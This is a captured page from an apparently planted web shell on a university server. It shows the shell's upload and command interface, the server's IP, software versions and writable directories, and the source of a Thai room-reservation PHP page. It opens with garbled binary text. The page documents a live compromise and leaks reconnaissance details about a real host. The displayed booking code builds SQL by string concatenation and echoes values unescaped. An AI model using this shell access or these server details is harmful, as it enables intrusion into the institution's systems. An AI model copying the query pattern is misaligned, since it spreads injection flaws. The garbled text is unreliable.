h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/trr/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/html/trr/pages/index-20250310.php
<?php include 'dbconnect.php';?>
<?php include 'header.php';?>

<?php
$pagetitle_text = "ระบบจองห้องค้นคว้าสำหรับอาจารย์";
$num_show_day = 31;
$confirm_color = "#00FF00";
$not_confirm_color = "#CCCCCC";
$not_reserve_message = "งดจองห้องนี้ชั่วคราว";

$sqlx = "SELECT * FROM reserve_time_list ORDER BY time_code ASC";
$queryx = mysqli_query($conn,$sqlx);
$num_times = mysqli_num_rows($queryx);
$time_list = array();
$i = 0;
while($resultx=mysqli_fetch_array($queryx,MYSQLI_ASSOC))
{
	$time_list[$i][0] = $resultx["time_code"];
	$time_list[$i][1] = $resultx["start_time"];
	$time_list[$i][2] = $resultx["stop_time"];
	$i += 1;
} //while($resultx=mysqli_fetch_array($queryx,MYSQLI_ASSOC))
//$start_show_date = date("Y-m-d");
//$end_show_date = date('Y-m-d',strtotime("+30 day"));

$sqlx = "SELECT * FROM reserve_room WHERE showed=1 ORDER BY room_code ASC";
$queryx = mysqli_query($conn,$sqlx);
$num_rooms = mysqli_num_rows($queryx);
$current_room = 0;
while($resultx=mysqli_fetch_array($queryx,MYSQLI_ASSOC))
{
	if($current_room <> 0) {
?>
<hr />
<?php
	}  //if($current_room <> 0) {
?>
<a name="<?php echo $resultx["room_code"];?>" id="<?php echo $resultx["room_code"];?>"></a><h2 align="center">ตารางการจอง<?php echo $resultx["room_name"];?></h2>
<?php
		if($resultx["reserved"]==1) {
?>
<p align="center"><a href="reserve_add.php?room_code=<?php echo $resultx["room_code"];?>"><button type="button" class="btn-success">คลิกที่นี่เพื่อทำการจอง</button></a>&nbsp;&nbsp;(หรือคลิกที่วันที่เพื่อทำการจอง)</p>
<?php
		} else { //if($resultx["reserved"]==1) {
			if($resultx["rule_comment"]<>"") {
				echo "<font color=red><h3 align=center>" . $resultx["rule_comment"] . "</h4></font>";		
			} else {
				echo "<font color=red><h3 align=center>" . $not_reserve_message . "</h4></font>";		
			}
		} //if($resultx["reserved"]==1) {
?>
                                <table class="table table-striped table-bordered table-hover">
								<tbody>
								<tr>
								<td width=220>
									<img src="<?php echo "room_pic/" . $resultx["room_pic"];?>" width="200" />
								</td>
								<td>
									<?php echo $resultx["detail"];?>
								</td>
								</tr>
								</tbody>
								</table>
                                <table class="table table-striped table-bordered table-hover">
                                    <thead>
                                        <tr bgcolor="#003399">
										<th><div align="center"><font color="#FFFFFF">วัน\เวลา</font></div></th>
<?php
	for($i=0;$i<$num_times;$i++) {
?>										
										<th><div align="center"><font color="#FFFFFF"><?php echo $time_list[$i][1] . "-" . $time_list[$i][2];?></font></div></th>
<?php
	} //for($i=0;$i<$num_times;$i++) {
?>										
                                      </tr>
                                    </thead>
									<tbody>
<?php
	for ($d=0;$d<$num_show_day;$d++) {
?>									
										<tr>
<?php
		$str_t_t = "+" . $d . " day"; 
		$idate = date('Y-m-d',strtotime($str_t_t));
		$day = date("j",strtotime($idate));
		$month = date("n",strtotime($idate));
		$year_eng = date("Y",strtotime($idate));
		$year_thai = date("Y",strtotime($idate))+543;
		$date_show = $day . "/" . $month . "/" . $year_eng;
		
		if($resultx["reserved"]==1) {
			//$dayofweek = date('w', strtotime($idate));
			//if(($dayofweek<>6) && ($dayofweek<>0)) {
?>										
										<td><a href="reserve_add.php?room_code=<?php echo $resultx["room_code"];?>&reserve_date=<?php echo $idate;?>"><?php echo $date_show;?></a></td>
<?php
			/*} else { //if(($dayofweek<>6) && ($dayofweek<>0)) {
?>										
										<td><font color="red"><?php echo $date_show;?></font></td>
<?php	
			} //if(($dayofweek<>6) && ($dayofweek<>0)) {*/
		} else { //if($resultx["reserved"]==1) {
?>										
										<td><?php echo $date_show;?></td>
<?php		
		} //if($resultx["reserved"]==1) {		
		
		//for($col=0;$col<$num_times;$col++) {
		$col=0;
		$previous_reserve_code=-999;
		$previous_reserver_name = "";
		$previous_confirm = 0;
		$col_span=0;
		$td_color="";
		while($col<$num_times) {
			//$sql2 = "SELECT prefix.prefix_name, reserve_detail.firstname, reserve_detail.lastname, reserve_detail.confirm, reserve_detail.reserve_code FROM (reserve_detail INNER JOIN reserve_time ON reserve_detail.reserve_code= reserve_time.reserve_code) INNER JOIN prefix ON reserve_detail.prefix_id = prefix.prefix_id WHERE ( (reserve_detail.reserve_date ='" . $idate . "'" .  ") AND (reserve_detail.room_code=" . $resultx["room_code"] . ") AND (reserve_time.reserve_time =" . $time_list[$col][0] . ") )";
			$sql2 = "SELECT reserve_detail.full_name, reserve_detail.confirm, reserve_detail.reserve_code FROM (reserve_detail INNER JOIN reserve_time ON reserve_detail.reserve_code= reserve_time.reserve_code) WHERE ( (reserve_detail.reserve_date ='" . $idate . "'" .  ") AND (reserve_detail.room_code=" . $resultx["room_code"] . ") AND (reserve_time.reserve_time =" . $time_list[$col][0] . ") )";
			$query2 = mysqli_query($conn,$sql2);
			if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) {
				if($col == 0) {
					$previous_reserve_code = $result2["reserve_code"];
					//$previous_reserver_name = $result2["prefix_name"] . $result2["firstname"] . " " . $result2["lastname"];
					$previous_reserver_name = $result2["full_name"];
					$previous_confirm = $result2["confirm"];
					$col_span = 1;					
				} else { //if($col == 0) {
					if($previous_reserve_code == $result2["reserve_code"]) {
						$col_span += 1;	
					} else { //if($previous_reserve_code == $result2["reserve_code"]) {
						if($previous_reserve_code <> -999) {
							if($previous_confirm == 1) {
								$td_color = $confirm_color;
								$show_name = $previous_reserver_name;
?>
										<td colspan="<?php echo $col_span;?>" align="center" bgcolor="<?php echo $td_color;?>"><?php echo $show_name;?></td>
<?php	
							} else { //if($previous_confirm == 1) {
								$td_color = $not_confirm_color;
								$show_name = $previous_reserver_name . " (รอการยืนยัน)";					?>
										<td colspan="<?php echo $col_span;?>" align="center" bgcolor="<?php echo $td_color;?>"><a href="reserve_detail.php?reserve_code=<?php echo $previous_reserve_code;?>"><?php echo $show_name;?></a></td>
<?php	 
							} //if($previous_confirm == 1) {						
						} else { //if($previous_reserve_code == -999) {
?>
										<td>&nbsp;</td>
<?php			
						} //if($previous_reserve_code == -999) {
						$previous_reserve_code = $result2["reserve_code"];
						//$previous_reserver_name = $result2["reserver_name"];
						//$previous_reserver_name = $result2["prefix_name"] . $result2["firstname"] . " " . $result2["lastname"];
						$previous_reserver_name = $result2["full_name"];
						$previous_confirm = $result2["confirm"];
						$col_span = 1;	
					} //if($previous_reserve_code == $result2["reserve_code"]) {				
				} //if($col == 0) {
			} else { //if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) {
				if ($previous_reserve_code <> -999) {
					if($previous_confirm == 1) {
						$td_color = $confirm_color;
						$show_name = $previous_reserver_name;
?>
										<td colspan="<?php echo $col_span;?>" align="center" bgcolor="<?php echo $td_color;?>"><?php echo $show_name;?></td>
<?php						
					} else { //if($previous_confirm == 1) {
						$td_color = $not_confirm_color;
						$show_name = $previous_reserver_name . " (รอการยืนยัน)";	
?>
										<td colspan="<?php echo $col_span;?>" align="center" bgcolor="<?php echo $td_color;?>"><a href="reserve_detail.php?reserve_code=<?php echo $previous_reserve_code;?>"><?php echo $show_name;?></a></td>
<?php										 
					} //if($previous_confirm == 1) {				
						$previous_reserve_code = -999;
						$previous_reserver_name = "";
						$previous_confirm = 0;
						$col_span = 0;				
				} else { //if ($previous_reserve_code <> -999) {
					if ($col <> 0) {
?>
										<td>&nbsp;</td>
<?php
					}
				} //if ($previous_reserve_code <> -999) {
			} //if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) {
?>										

<?php
			$col += 1;
		} //while($col<$num_times) {
				if ($previous_reserve_code <> -999) {
					if($previous_confirm == 1) {
						$td_color = $confirm_color;
						$show_name = $previous_reserver_name;
?>
										<td colspan="<?php echo $col_span;?>" align="center" bgcolor="<?php echo $td_color;?>"><?php echo $show_name;?></td>
<?php							
					} else { //if($previous_confirm == 1) {
						$td_color = $not_confirm_color;
						$show_name = $previous_reserver_name . " (รอการยืนยัน)";	
?>
										<td colspan="<?php echo $col_span;?>" align="center" bgcolor="<?php echo $td_color;?>"><a href="reserve_detail.php?reserve_code=<?php echo $previous_reserve_code;?>"><?php echo $show_name;?></a></td>
<?php											 
					} //if($previous_confirm == 1) {
				} else { //if ($previous_reserve_code <> -999) {
?>
										<td>&nbsp;</td>
<?php
				} //if ($previous_reserve_code <> -999) {		
		
?>											
										</tr>
<?php
	} //for ($d=0;$d<31;$d++) {
?>	
									</tbody>
								</table>
<br />
	



<?php
	$current_room += 1;
} //while($resultx=mysqli_fetch_array($queryx,MYSQLI_ASSOC))
?>
<hr>
                                <table class="table table-striped table-bordered table-hover">
								<tbody>
								<tr><td bgcolor="<?php echo $not_confirm_color;?>">สีเทา หมายถึง รอการยืนยัน ยังไม่สามารถเข้าใช้บริการห้องในวันและเวลาที่จองได้</td></tr>
								<tr><td bgcolor="<?php echo $confirm_color;?>">สีเขียว หมายถึง การจองสำเร็จแล้ว สามารถเข้าใช้บริการห้องในวันและเวลาที่จองได้</td></tr>
								<tr><td>ถ้าต้องการจอง คลิกที่ลิงค์จองห้อง หรือคลิกที่วันที่เพื่อทำการจอง</td></tr>	
								<tr><td>ถ้าต้องการแก้ไขข้อมูลการจอง คลิกที่ชื่อผู้จองในตาราง   (แก้ไขได้เฉพาะรายการที่รอการยืนยันเท่านั้น รายการที่ได้รับการอนุมัติแล้ว ไม่สามารถแก้ไขได้ ถ้าต้องการแก้ไขรายการที่ได้รับการอนุมัติแล้ว กรุณาติดต่อสำนักวิทยบริการฯ)</td></tr>	
								</tbody>
								</table>

<br /><br />


<?php include 'footer.php';?>

Youez - 2016 - github.com/yon3zu
LinuXploit